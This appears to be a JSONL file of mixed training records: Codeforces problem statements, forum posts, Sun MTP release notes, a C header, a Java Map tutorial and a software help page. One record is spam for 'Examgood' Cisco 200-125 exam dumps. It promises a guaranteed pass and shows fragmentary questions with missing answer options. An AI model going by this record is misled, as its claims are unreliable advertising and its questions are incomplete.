{"text": "DZY loves planting, and he enjoys solving tree problems.\n\nDZY has a weighted tree (connected undirected graph without cycles) containing n nodes (they are numbered from 1 to n). He defines the function g(x, y) (1 ≤ x, y ≤ n) as the longest edge in the shortest path between nodes x and y. Specially g(z, z) = 0 for every z.\n\nFor every integer sequence p1, p2, ..., pn (1 ≤ pi ≤ n), DZY defines f(p) as $$\\min_{i=1}^{n} g(i,p_i)$$.\n\nDZY wants to find such a sequence p that f(p) has maximum possible value. But there is one more restriction: the element j can appear in p at most xj times.\n\nPlease, find the maximum possible f(p) under the described restrictions.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hasta la (Windows) Vista baby.\nThere's nothing quite as futuristic as Skynet in this brilliant 8-bit (with quite a bit of 16-bit) video game reimagining of the classic 1991 movie Terminator 2: Judgement Day, created by the amazing Dutton brothers at Cinefix.\nUnusually for the titles Cinefix normally tackles, Terminator 2 did actually get its own 8-bit and 16-bit game versions at the time - so for fairness, we've included them too. But the Cinefix version is done and dusted in just over three minutes, so it's a lot quicker to get to that final tearjerking scene.\nHopefully they'll do a version of the new movie: Terminator (Sega) Genisys.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What you did took not only courage, but self-respect and respect for your partner. Boundaries are kind of alien to CSA survivors, and definitely alien to alcoholics. Defining your boundaries and sticking to them is a HUGE step. Keep up the good work buddy. Err...sorry, I didn't realize you were female. No offense.\nEdited by Jude (04/22/13 11:13 AM)\n\"In the burning Heart, Just about to burst\nThere's a quest for answers, An unquenchable thirst\nIn the darkest night, Rising like a spire\nIn the burning heart, The unmistakable fire\"Survivor", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 139, "token_count_with_eod": 140, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am trying to build an RFID system that will help with data collection for my research. What I need is for a timer to start when a race start gate drops, and then, when an athlete moves through the start gate, for the timer to stop. This will tell me how long it takes from when the gate drops until the RFID sensor (placed on the person's hip) passes through the gate. I think I am basically looking to make a simple RFID race-timing system, but it needs to be cost-effective and there is no need for long-range reading at all. I don't need it to provide live timing—I can use Microsoft Excel afterward to pull the data out that I want. I am pretty new to RFID, so if there is any way to be pointed in the right direction, or if there is specific equipment I should use, that would be very helpful.\n= = =\nThe big question is how close the tag can be to the reader antenna. Race-timing systems originally put tags on sneaker laces and readers on the ground, so the tags could be within a foot (no pun intended) or so of the reader antenna. If you can use that system, or if you can guarantee that an RFID wristband on the subject's wrist can get within 1 to 3 feet of the reader, you can use a low-cost HF reader module, which is available on the Internet. You will need antennas, cables and software that will take the data from the reader and enter it into your database.\nIf you cannot guarantee the subject's tag will be within 1 to 3 feet of the reader, you will need to use a passive UHF RFID system. You can also buy these on the Internet. Again, you will need antennas, cables and software that will take the data from the reader and enter it into the database. A simple search for \"HF RFID reader\" or \"UHF RFID reader\" will turn up a variety of online purchase options.\nFounder and Editor", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The king of some country $$$N$$$ decided to completely rebuild the road network. There are $$$n$$$ people living in the country, they are enumerated from $$$1$$$ to $$$n$$$. It is possible to construct a road between the house of any citizen $$$a$$$ to the house of any other citizen $$$b$$$. There should not be more than one road between any pair of citizens. The road network must be connected, i.e. it should be possible to reach every citizen starting from anyone using roads. To save funds, it was decided to build exactly $$$n-1$$$ road, so the road network should be a tree.\n\nHowever, it is not that easy as it sounds, that's why the king addressed you for help. There are $$$m$$$ secret communities in the country, each of them unites a non-empty subset of citizens. The king does not want to conflict with any of the communities, so he wants to build the network such that the houses of members of each society form a connected subtree in network. A set of vertices forms a connected subtree if and only if the graph remains connected when we delete all the other vertices and all edges but ones that connect the vertices from the set.\n\nHelp the king to determine if it is possible to build the desired road network, and if it is, build it.", "source": "cpt_codeforces", "language": "en", "token_count": 272, "token_count_with_eod": 273, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "How to register an account on GitLab. To prevent spam, new accounts are locked until approved by an admin or the approver bot. You can also file an unlock request to expedite access.\nSupport: mw:GitLab, how to host a project on GitLab, #wikimedia-gitlab on libera.chat, #GitLab on Phabricator.\nThis change adds a .gitlab-ci.yml using kokkuri to build and publish the blubber image.\nIt seems the blubber config should stay in the .pipeline folder (similar to old pipeline lib).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 118, "token_count_with_eod": 119, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Going nuts trying to get a new ASUS external monitor to work via HDMI cable with my Dell laptop. The Intel Graphics control panel recognizes the connection to the external monitor, identifies it correctly by brand and model, and allows me to adjust all the settings I would expect: refresh rate, resolution, output to clone/extended/laptop only/monitor only, etc. I can even move the mouse over to the extended monitor, take a screenshot, and see what the laptop 'thinks' it's displaying to the monitor. It's just that the monitor is blank, telling me HDMI1 (or HDMI2) NO SIGNAL.\nHere's what I know / have tried\n- Dell Inspiron 15R 5521\n- Windows 10 with latest updates (today in fact)\n- ASUS VE 278 LCD monitor\n- Graphics Driver is Intel HD 4000 v10.18.10.4653\n- I have uninstalled the above driver, deleted driver files, downloaded new files from Intel's website, and reinstalled the driver\n- I've verified that the HDMI cable and ASUS monitor are functioning properly by attaching them to a different laptop\n- I've verified that the Dell laptop in question has the same problem with a different external monitor\n- I have not verified whether or not the Dell laptop in question will successfully display to an external monitor using a VGA connection (I'm ordering an HDMI-VGA adapter after I hit 'post' on this post.)\n- I've tried every combination of power off/on, reboot, plug cable in, turn monitor off/on. Dozens of times. To the point that my lovely fiance questions my sanity.\n- Here's the weirdest symptom that I've not seen in any of the research I've done on this issue: When I changed the refresh rate to 50p hz (not 50i hz), the Asus monitor showed a distorted, flickering display. I could see a crappy image of what was supposed to be there, take a normal screen shot, etc. This only happened at 50p, not 50i, 59p/i, or 60p/i. To kick the weirdness up a notch: After uninstalling/reinstalling the driver, THIS STOPPED, so now I just have a blank monitor. I mean the weird 50p behavior in this bullet stopped. Everything else is still as described.\n- Intel's diagnostic utility text file attached.\n- Between uninstall/reinstall of the Intel driver, I tried plugging the monitor in while the system was using the built-in graphics capability. My laptop wouldn't recognize it at all.\nEdit: Device manager 'monitors' is showing two Generic PnP Monitors. There should be just one generic PnP monitor plus the external monitor.\nEdit2: Which is apparently normal as indicated by a little further research. Counter-intuitive, but normal.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little penguin Polo likes permutations. But most of all he likes permutations of integers from 0 to n, inclusive.\n\nFor permutation p = p0, p1, ..., pn, Polo has defined its beauty — number $$(0\\oplus p_{0})+(1\\oplus p_{1})+\\cdots+(n\\oplus p_{n})$$.\n\nExpression $$x \\oplus y$$ means applying the operation of bitwise excluding \"OR\" to numbers x and y. This operation exists in all modern programming languages, for example, in language C++ and Java it is represented as \"^\" and in Pascal — as \"xor\".\n\nHelp him find among all permutations of integers from 0 to n the permutation with the maximum beauty.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "What are you in trouble? Are you worrying about Cisco 200-125 certification test? It is really difficult to pass CCNA Routing and Switching 200-125 exam. But, you don't have to be overly concerned. As long as you choose appropriate methods, 100% pass exam is not impossible. What are the appropriate methods? Choosing Examgood 200-125 CCNA v3.0 exam subject matter is the best way. Now many IT professionals agree that CCNA Routing and Switching 200-125 exam certificate is a stepping stone to the peak of the IT industry. Examgood is the that has been known to learn IT technology.\nSenior IT experts in the Examgood constantly developed a variety of successful programs of passing Cisco certification 200-125 exam, so the results of their research can 100% guarantee you Cisco certification 200-125 exam for one time. Examgood 200-125 CCNA v3.0 exam subject matter are very effective and many people who have passed a number of IT certification exams used the practice questions and answers provided by Examgood.\nThus they can obtain a better promotion opportunity in the IT industry, which can make their wages and life level improved. But in order to pass Cisco certification 200-125 exam many people spent a lot of time and energy to consolidate knowledge and didn't pass the exam. This is not cost-effective. If you choose Examgood product, you can save a lot of time and energy to consolidate knowledge, but can easily pass Cisco certification 200-125 exam. Because Examgood specific 200-125 CCNA v3.0 exam subject matter can help you 100% pass the exam.\nShare some CCNA Routing and Switching 200-125 exam questions and answers below.\nA network interface port has collision detection and carrier sensing enabled on a shared twisted pair network. From this statement, what is known about the network interface port?\nA. This is a 10 Mb/s switch port.\nB. This is a 100 Mb/s switch port.\nC. This is an Ethernet port operating at half duplex.\nD. This is an Ethernet port operating at full duplex.\nE. This is a port on a network interface card in a PC.\nA receiving host computes the checksum on a frame and determines that the frame is damaged. The frame is then discarded. At which OSI layer did this happen?\nD. data link\nWhich of the following describes the roles of devices in a WAN? (Choose three.)\nA. A CSU/DSU terminates a digital local loop.\nB. A modem terminates a digital local loop.\nC. A CSU/DSU terminates an analog local loop.\nD. A modem terminates an analog local loop.\nE. A router is commonly considered a DTE device.\nF. A router is commonly considered a DCE device.\nWhich three statements accurately describe Layer 2 Ethernet switches? (Choose three.)\nA. Spanning Tree Protocol allows switches to automatically share VLAN information.\nB. Establishing VLANs increases the number of broadcast domains.\nC. Switches that are configured with VLANs make forwarding decisions based on both Layer 2 and Layer 3 address information.\nD. Microsegmentation decreases the number of collisions on the network.\nE. In a properly functioning network with redundant switched paths, each switched segment will contain one root bridge with all its ports in the forwarding state. All other switches in that broadcast domain will have only one root port.\nF. If a switch receives a frame for an unknown destination, it uses ARP to resolve the address.\nA network administrator is verifying the configuration of a newly installed host by establishing an FTP connection to a remote server. What is the highest layer of the protocol stack that the network administrator is using for this operation?\nF. data link\nIf you are still hesitate to choose our Examgood, you can try to free download part of Cisco 200-125 certification exam questions and answers provided in our Examgood. So that you can know the high reliability of our Examgood. Our Examgood will be your best selection and guarantee to pass Cisco 200-125 certification. Your choose of our Examgood is equal to choose success.If you use the training material we provide, you can 100% pass the exam. Examgood 100% guarantee you to pass Cisco 200-125 exam.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 977, "token_count_with_eod": 978, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mr. Chanek lives in a city represented as a plane. He wants to build an amusement park in the shape of a circle of radius $$$r$$$. The circle must touch the origin (point $$$(0, 0)$$$).\n\nThere are $$$n$$$ bird habitats that can be a photo spot for the tourists in the park. The $$$i$$$-th bird habitat is at point $$$p_i = (x_i, y_i)$$$.\n\nFind the minimum radius $$$r$$$ of a park with at least $$$k$$$ bird habitats inside.\n\nA point is considered to be inside the park if and only if the distance between $$$p_i$$$ and the center of the park is less than or equal to the radius of the park. Note that the center and the radius of the park do not need to be integers.\n\nIn this problem, it is guaranteed that the given input always has a solution with $$$r \\leq 2 \\cdot 10^5$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 204, "token_count_with_eod": 205, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "|MainUser InterfaceFile MenuConnect Application...\nBrowser to Connect Application\non the Microsoft® Windows® and on the Mac OS® X platform you will get the system\nfile browser instead of the browser described on this page!\nThis file browser can be used to locate the executable file of an\napplication program which shall be connected to the\nSuch an application can use uDraw(Graph) as a user interface\nOne application is the\nwhich is part of the distribution package.\nThe browser has two views, one for the directories and one for\nthe files in the current directory.\nThe current directory is the one shown in the \"Selection\" field.\nTo navigate through the directories, double-click on the elements\nin the directory view.\nBy clicking on \"..\", you move back to the parent directory.\nTo choose a file, either select it in the file view and press the\n\"Connect\" button or simply double-click it.\nThe browser beeps when you try to access a file or directory for\nwhich you do not have permissions, or when the specified file does\nAfter pressing connect, a\nwill appear where the command-line options and the connection\ntype can be specified.\nDialog Elements of the File Browser\nShows the filter expression currently applied to the file view.\nThe filter can be selected either with the \"Types\" option button or\nby manually typing wildcards or regular (shell) expressions here.\nA list to show the directories inside the current directory\n(which is displayed in the \"Selection\" field). Double-click\non the list elements to navigate through the directories.\n\"..\" moves to the parent directory.\nA list to show the executable files inside the current directory\n(which is displayed in the \"Selection\" field).\nSelect one of the list elements and press the \"Connect\" button to\nstart a particular uDraw(Graph) application program.\nYou can accelerate this by double-clicking a file.\nUsed to go back to a previously visited directory or to the\nhome directory of the user.\nUsed to reduce the number of elements in the Files view.\nYou can choose to see all files (default), only the graph\nfiles or only the status files.\nSelect this check button to see hidden files and directories.\nThis text entry field shows the current selection which is modified\nwhen you browse through the directories. The browser usually suggests\nan appropriate initial selection. You can also edit the \"Selection\"\nfield by hand: if the entered selection is a directory, the browser\nwill move to that directory, otherwise the specified file is opened\nPush button to connect the executable file specified in the \"Selection\"\nThe file must exist to proceed with the load operation, otherwise\nthe browser beeps.\nPush button to close the file browser without performing any action.\nPush button to start the\nonline help system\nwith this page.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 592, "token_count_with_eod": 593, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Keshi is throwing a party and he wants everybody in the party to be happy.\n\nHe has $$$n$$$ friends. His $$$i$$$-th friend has $$$i$$$ dollars.\n\nIf you invite the $$$i$$$-th friend to the party, he will be happy only if at most $$$a_i$$$ people in the party are strictly richer than him and at most $$$b_i$$$ people are strictly poorer than him.\n\nKeshi wants to invite as many people as possible. Find the maximum number of people he can invite to the party so that every invited person would be happy.", "source": "cpt_codeforces", "language": "en", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "|C H A P T E R 2|\nImportant Operating Information\nThis chapter contains important information related to the operation of your Sun MTP system. It contains the following topics:\nYou must set the KIXSYS and TMPDIR environment variables before performing any tasks related to Sun MTP.\nThe TMPDIR environment variable must be set in your system environment for Sun MTP. If the TMPDIR variable is not set, some of your transactions might not work properly.\nTo verify that the environment variable is set, type the following command at a shell prompt:\nIf no value is returned, you must set this environment variable in your region setup script. Set it to the directory where temporary files are saved.\nYou must include the $UNIKIX/lib directory when setting the LD_LIBRARY_PATH environment variable, otherwise the region will not start.\nYou only need to set the KIXBTCH environment variable if you are using standard batch. If your region uses Sun MBM for batch processing, you do not need to set $KIXBTCH. On startup, Sun MTP checks the VSAM Configuration Table (VCT), and if there is a Y in the Connect to Batch field, it does not check that $KIXBTCH is set.\nWhen you execute the kixinstall utility, a check is performed to ensure that you are using a compatible version of the Solaris operating system. If the version of Solaris is earlier than release 8, the following message is displayed:\nThe way Sun MTP stores the path names to VSAM files has changed. Now, the full path name to a VSAM file is stored in its file control block. This change has the following impacts:\nChanges made to Sun MTP in this release to improve the performance of main memory TSQs are documented in this section.\nThe Sun MTP default behavior is to write temporary storage queue (TSQ) information to disk (auxiliary storage). You can override this behavior by using the\n-TM option to unikixmain at region startup. The M argument instructs Sun MTP to write TSQ information to memory (main storage). You can also use the MAIN option on the WRITEQ TS command to override the default behavior.\nIn releases prior to 8.0.1, when an item was written to a TSQ, Sun MTP allocated memory for the item from the pool of shared memory. When the queue was deleted, the memory was returned to the pool. The allocation and deallocation of memory for each TSQ item could incur a significant amount of memory management overhead.\nThe changes made in this release enable you to tailor your region's use of shared memory for TSQs.\nYou can reduce memory management overhead by specifying a TSQ block size at the time the region is started. This causes Sun MTP to allocate that size block at the time the queue is created and the first item is written. On subsequent writes, Sun MTP simply allocates space for an item from this block; no shared memory overhead is incurred after the first write. When the block becomes full, additional blocks are allocated as needed (requiring a shared memory allocate) to hold all of the queue items. When the queue is deleted, any blocks that had been allocated to that queue are put on a free list and can be used by other TSQs. The free list implementation removes the overhead of returning space to shared memory. Current queues, or queues created in the future, can use the memory blocks from the free list, which might even eliminate the initial allocation of a memory block if one is found in the free list. See Reallocating Blocks From the Free List.\nSun MTP now supports block sizes of 512 bytes, 1 kilobyte (Kbyte), 2 Kbytes, 4 Kbytes, 8 Kbytes, 16 Kbytes, and 32 Kbytes. If you specify the -TM option to unikixmain at startup, the default block size for TSQ data is 512 bytes. You can override the default size by also specifying the -q startup option.\nThe valid values for the -q option are: -q1 for 1-Kbyte blocks, -q2 for 2-Kbyte blocks, -q4 for 4-Kbyte blocks, -q8 for 8-Kbyte blocks, -q16 for 16-Kbyte blocks, and -q32 for 32-Kbyte blocks.\nThe following table shows the results of using various combinations of the startup options and the WRITEQ TS command with the MAIN and AUXILIARY options.\nTSQ items specified in the WRITEQ TS...MAIN command are written to in-memory queues using the default 512-byte block size, or a size large enough to hold the item. Other TSQ items are written to disk.\nTSQ items specified in the WRITEQ TS...MAIN command are written to in-memory queues using the block size specified in the -q option, or a size large enough to hold the item. Other TSQ items are written to disk.\nSun MTP must allocate a new block of memory for TSQ items if there is no space in the existing blocks allocated to the queue, and there are no free blocks in the free list. If the record size is greater than the region's configured block size, a size large enough to hold the record being stored is allocated.\nSun MTP never splits items across memory blocks. Therefore, if a 100-byte item is being written, and no memory blocks allocated to the queue have 100 bytes available, a new block is allocated to contain the item. Depending on the size and mix of items written to a queue, some virtual address space in the memory blocks might not be used. For example, if a 512-byte block size is used, and the item size is 100 bytes, five 100-byte items, or 500 bytes can be written to the block. This leaves 12 bytes within the block that cannot be used, unless an item of 1 to 12 bytes is written.\nSun MTP maintains separate free lists for each of the different block sizes. Blocks are allocated from the free lists in the following ways:\nSun MTP correctly handles any size queue item, up to the maximum size of 32 Kbytes. If an application attempts to write a queue item greater than 32 Kbytes, an error is issued.\nBefore choosing a block size, you must analyze the application's use of temporary storage queues. Consider the number of queues and the total size of each to determine the total amount of space required and the best queue size.\nThe following examples describe why certain block sizes are appropriate for certain application environments:\nThe kixdump -q command displays information about the active temporary storage queues, including the queue name, the queue type (auxiliary or main), the total size of the queue, the last item read from the queue, the last item written to the queue, the number of active items, and the first available item number. If the queue type is main, additional information about the data blocks allocated to the queue is also displayed. This includes the address of the data block, the pointer to the next data block for the queue, the pointer to the available or free space in the block, the number of bytes available in the block, the maximum item size (in bytes) in the block, the count of items contained in the block, the total unused space (in bytes) in the block resulting from rewrite activity, and the block size in bytes.\nThe TSQ enhancements made in this release increase the use of operating system semaphores. If your runtime environment is set to use semaphores (the Sun MTP default), rather than Solaris mutexes, you or your system administrator must review the semaphore values in the /etc/system file to ensure that they are sufficient. TABLE 2-2 describes the affected semaphores and provides examples for setting the correct values.\nSun MTP dynamically creates a TSQ the first time it is named in a WRITEQ TS command. You can also predefine TSQs in the Temporary Storage Table (TST); these queues can be local or remote. There is no limit to the number of TSQs you can define in the TST. Each TSQ can contain 32,768 records, and each record can contain up to 32,768 bytes of data.\nBecause main temporary storage requires more memory than auxiliary storage, use it primarily for small queues that have short lifetimes or are accessed frequently. If your application writes large amounts of data to TSQs, and the data have a relatively long lifetime or are accessed infrequently, consider using auxiliary temporary storage.\nTSQs written to auxiliary storage can be defined as recoverable, but not queues in main storage.\nIf an attempt is made to write to an ESDS file that is larger than 4 Gbytes, Sun MTP now returns an error to the calling program.\nIf the ESDS file is 4 Gbytes in size or greater, INVREQ is set and RESP2 is set to 1.\nLimitations on the number of TCP/IP and SNA sessions that can exist for a region were not documented.\nThe number of TCP/IP sessions is controlled by the TCPRTERM and TCPSTERM environment variables.\nThe number of SNA sessions are controlled by the DCLRTERM and DCLSTERM environment variables.\nWhen configuring terminals in the 3270 Devices portion of the Terminal Control Table, be aware that the Host Name and Port Number fields on the Host & Port screen are applicable only for terminals that access the region by means of the TPS PU4/5 server software (unikixtrin process). These fields are ignored for all other terminal definitions.\nThe behavior of socket client connections has changed. The socket protocol specifies that the socket client connect and then send the initial socket message. If this initial send is never done, the socket remains in the control of the unikixsock process forever, or until the socket client disconnects. This can cause the region to behave abnormally.\nA new environment variable, KIXSOCKET_TIMEOUT, enables you to specify the amount of time to wait for the socket data before disconnecting the client. You must set this environment variable before starting the Sun MTP region. For example:\nThe value 10 indicates that the unikixsock process will wait 10 seconds for the socket data before disconnecting the client.\nIn Sun MTP releases prior to Release 8.0.0 patch 7, the kixbms utility incorrectly generated the placement of the named attribute fields in COBOL and PL/I copybooks.\nFor example, you might have coded your programs (PLI and COBOL) that address map attribute field names to compensate for this:\nNow, if you regenerate the map copybook using kixbms, you will also need to change your program reference to map attribute fields. For example, you would have to change the above example to:\nIf you do not use the above style of qualified data-name referencing of map attribute field names in PL/I or COBOL programs, regenerating a map copybook should not require any programming changes.\nThe kixtran utility has changed to accommodate different user permissions. The kixtran utility creates an error file in the $KIXSYS directory named unikixepi.err.pid, where pid is the process ID of the kixtran process. If the user executing the kixtran utility does not have permission to write to $KIXSYS, the utility tries to create the file in the user's current directory. If it cannot, the errors are sent to standard error (stderr).\nCaution - Make sure to set the appropriate permissions on Sun MTP system transactions. Sun MTP provides transaction security by means of the Program Control Table (PCT) and the Sign-On Table (SNT). Or, you can use Sun MSF external security management to secure your transactions. Refer to the Sun Mainframe Transaction Processing Software Administrator's Guide for information about both security models.\nIn prior releases of Sun MTP, when .bms, .sgu, and .map files were generated by the Screen Generation Utility (SGU), the file permissions were set to read/write for the owner (user who started the region) and read for the group; no permissions were granted for others. Now, the file is created with the permissions allowed by the user that started the region. For example, if the user that started the region has a umask of 003, the file will be created with the following permissions: read/write for owner and group, and read for others.\nA dataset that is defined as remote in the File Control Table (FCT) will not be counted as an alias. A remote dataset contains a value in the SysID field on the Remote Characteristics screen of the FCT.\nA dataset whose Filename field is blank in the FCT is not counted as an alias.\nPreviously, the application name configured in the System Initialization Table (SIT), was used as the prefix on all external security manager (ESM) resource access check calls. Because this approach was incompatible with how CICS prefixes resource names with its ESM (RACF), customers with existing CICS/RACF-prefixed resource names would not be able to directly migrate to Sun MTP Secure.\nNow, the resource name prefix is formed by taking the UNIX user ID that started the region as the prefix and adding a period (.) to it.\nIf you are using Sun MTP and Sun MBM together, and you find it necessary to completely restore the region's $KIXSYS directory from a backup, you must also resynchronize the subsystem and region so that they can reconnect. Follow this procedure:\n1. Shut down the Sun MTP region.\n2. Restore the $KIXSYS directory.\n3. In Sun MBM, start BAM.\n4. On the BAM main menu, choose option 3, Applications & Subsystems.\n5. On the Applications & Subsystems menu, choose option 4, Update a Subsystem.\n6. Enter the number of the subsystem to update.\n7. On the Update menu, choose option 2, Change MTP Region.\n8. Type the path name of the $KIXSYS directory and press Return.\nIf the screen already displays the correct path name, just press Return.\n9. When the confirmation screen is displayed, press Return.\n10. Exit BAM.\n11. Restart the Sun MTP region.\nThis section describes products or functionality no longer supported by Sun MTP.\nRefer to the Sun Mainframe Transaction Processing Software Configuration Guide for information about configuring recovery.\nUse the following conversion tables for either double-byte character sets (DBCS) or single-byte character sets (SBCS). The tables are located in the $UNIKIX/lib directory.\nThe following tables, which are also located in the $UNIKIX/lib directory, provide support for the Euro symbol:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3148, "token_count_with_eod": 3149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef _COMMON_JANKPAD_\r\n#define _COMMON_JANKPAD_\r\n\r\n#include \"types.h\"\r\n#include \"macros.h\"\r\n\r\n#define PI\t3.1415927f\t//3.14159265358979323846\r\n#define enemyCount 18\t// Total number of enemy\r\n#define maxEnemy \t32 // Max number of enemy on screen\r\n#define maxCollision\t32\t// number of segment to check for collision\r\n\r\n#endif //_COMMON_JANKPAD_", "source": "cpt_stack_code", "language": "code", "token_count": 117, "token_count_with_eod": 118, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "- 15th Nov 2023\n- 21:51 pm\nThe Map interface in Java represents a collection of key-value pairs, with each key paired with a matching value. This data structure enables efficient value retrieval based on their related keys. The Map interface does not support duplicate keys and only one null key with multiple null values.\nKey Features Map in Java\nThe Map interface's key features are as follows:\n- Key-Value Association: Each key in the Map is assigned a value. Keys act as unique identifiers and are used to get the values associated with them.\n- Implementation Training: Java supports several Map implementations, including HashMap, TreeMap, LinkedHashMap, and ConcurrentHashMap, each having unique attributes and use cases.\n- Methods and Operations: Map interface methods such as put(key, value), get(key), remove(key), containsKey(key), and size() enable insertion, retrieval, deletion, and key existence testing.\nIt allows you to iterate over entries by utilizing the keySet(), entrySet(), or values() methods.\nBecause of its excellent O(1) average-case performance for common operations, the HashMap implementation is frequently used for general-purpose key-value storage. TreeMap keeps items in sorted order, but LinkedHashMap keeps insertion order.\nMap interfaces are widely used in applications such as databases, caching systems, and whenever key-based data retrieval or association is required. They provide a versatile and efficient method of storing and managing key-value pairs in Java.\nCharacteristics of Map interface in Java\nThe Map interface in Java has numerous distinguishing features:\n- Key-Value Pairs:\nMaps are made up of key-value pairs, with each key corresponding to a certain value.\nThe linked value is accessed via the key, which must be unique inside the Map. Multiple keys, however, can map to the same value.\n- Key Uniqueness:\nEach key in a Map is unique; duplicate keys are not permitted. If an existing key is added, the prior mapping is replaced with the new one.\n- Null Key and Multiple Null Values:\nA Map can have a single null key.\nIt may store numerous null values and correlate duplicate null values with distinct keys.\n- Variety of Implementations:\nJava provides a number of Map interface implementations, each with its own set of attributes, performance, and behaviors.\nHashMap, TreeMap, LinkedHashMap, and ConcurrentHashMap are examples of popular implementations.\n- Iterating Over Entries:\nUsing methods like entrySet(), keySet(), or values(), map interfaces allow iteration over entries, keys, or values.\n- Efficient Data Retrieval:\nMaps allow for the quick retrieval of values based on their keys, making them a more efficient way to store and access key-based data.\n- Flexibility and Use Cases:\nMaps are commonly employed in scenarios requiring associative arrays, key-value pairs, or dictionary-like structures, such as databases, caching mechanisms, or applications requiring quick data retrieval based on keys.\nUnderstanding these qualities aids in the selection of the suitable Map implementation depending on individual use cases, performance constraints, and data store and retrieval functionalities in Java programs.\nImportant methods in Java Map\nBelow are some important methods in the Java Map interface:\n- put(K key, V value):\nInserts a key/value pair into the map. If the key already exists, the previously associated value is replaced with the new value.\nReturns the key's previous value or null if the key was not previously existent.\n- get(Object key):\n- Returns the value associated with the given key. If the key is not found in the map, it returns null.\n- remove(Object key):\nRemoves the key and its corresponding value from the map.\nReturns the value associated with the deleted key, or null if the key was missing.\n- containsKey(Object key):\nDetermines if the map includes the supplied key. If the key exists, returns true; otherwise, returns false.\nReturns a Set view of all the keys contained in the map. This set allows iterating through the keys.\nReturns a Set view of the key-value mappings in the map. Each entry is represented as a Map.Entry containing both the key and its associated value.\nReturns a collection view of all the values present in the map. This collection allows iterating through the values.\nThese methods are essential for maintaining and altering data within a Map, allowing for key insertion, retrieval, and removal, as well as offering views of keys, entries, and values for iterating over the map's content.\nTypes of Maps in Java\nIn Java, various Map implementations are available, each designed with specific characteristics and purposes. Here are some types of Maps:\nHashMap is a Java implementation of the Map interface that stores key-value pairs in a hash table. It allows for quick access and retrieval operations, with an average-case complexity of O(1) for typical operations like put and get. HashMap supports one null key and numerous null values, does not keep insertion order, and is unsynchronized, making it inappropriate for concurrent settings. Because of its efficiency and speed in discovering and manipulating items, it is commonly used for general-purpose key-value storage, making it excellent for applications requiring quick retrieval of data based on keys.\nTreeMap is a Java implementation of the Map interface that stores data in a Red-Black tree. It keeps elements in sorted order based on keys, allowing for quick retrieval of sorted elements. TreeMap does not support null keys, but it does support multiple null values. It provides range views for key intervals and is especially handy when a sorted collection of key-value pairs is required. Its ordered nature makes it useful for applications that need data retrieval in sorted order. However, because to the added sorting complexity, its operations are somewhat slower than HashMap.\nIn Java, LinkedHashMap is a Map interface implementation that extends HashMap. It preserves the order of insertion, allowing for predictable iteration order in accordance with the insertion sequence. Each item keeps a doubly linked list, which ensures that the order in which elements were put is kept. LinkedHashMap, like HashMap, allows for one null key and numerous null values. It's useful when iteration order is critical, since it ensures elements are accessible in the same order they were put. This approach combines the rapid access of a hash table with the predictable iteration order, making it appropriate for applications where insertion order must be maintained.\nConcurrentHashMap in Java is a synchronized and thread-safe Map interface implementation built for concurrent access. It enables numerous threads to conduct read and write operations concurrently without blocking, resulting in high concurrency. ConcurrentHashMap does this by segmenting the map and enabling various threads to access separate portions concurrently. It avoids locking the entire map for read operations, which improves efficiency and performance in concurrent situations. It allows some changes to happen without synchronization, increasing throughput and making it an excellent choice for applications that require thread safety and performance in cases where many threads are altering the map at the same time.\nEach Map implementation has unique features and benefits, allowing developers to select the best one depending on needs like as efficiency, concurrency, ordering, or particular use cases requiring enums. Understanding the features and behavior of different Map implementations is critical for picking the best-fit Map for a particular job.\nHere are various types of maps in Java along with brief explanations in a tabular format:\n|Implements the Map interface using a hash table, offering quick retrieval and insertion. Allows one null key and multiple null values.\n|Implements the NavigableMap interface using a Red-Black tree, maintaining elements in a sorted order. Useful for range-based queries and sorted key-value pairs.\n|Extends HashMap with an additional feature of maintaining the insertion order, useful for iteration in the order in which entries were added.\n|Implements a thread-safe map using a hash table, providing concurrency without the need for external synchronization.\n|Specifically designed to use enum type as keys, offering a highly efficient map implementation when keys are enum constants.\n|Implements a hash table using weak keys, allowing keys that are only weakly referenced, useful in scenarios where cached entries are no longer needed.\nThese different map implementations in Java serve specific purposes and have unique features catering to various requirements. Choosing the right map type is crucial based on factors such as performance, iteration order, concurrency, and the nature of keys to be used within the map.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1708, "token_count_with_eod": 1709, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
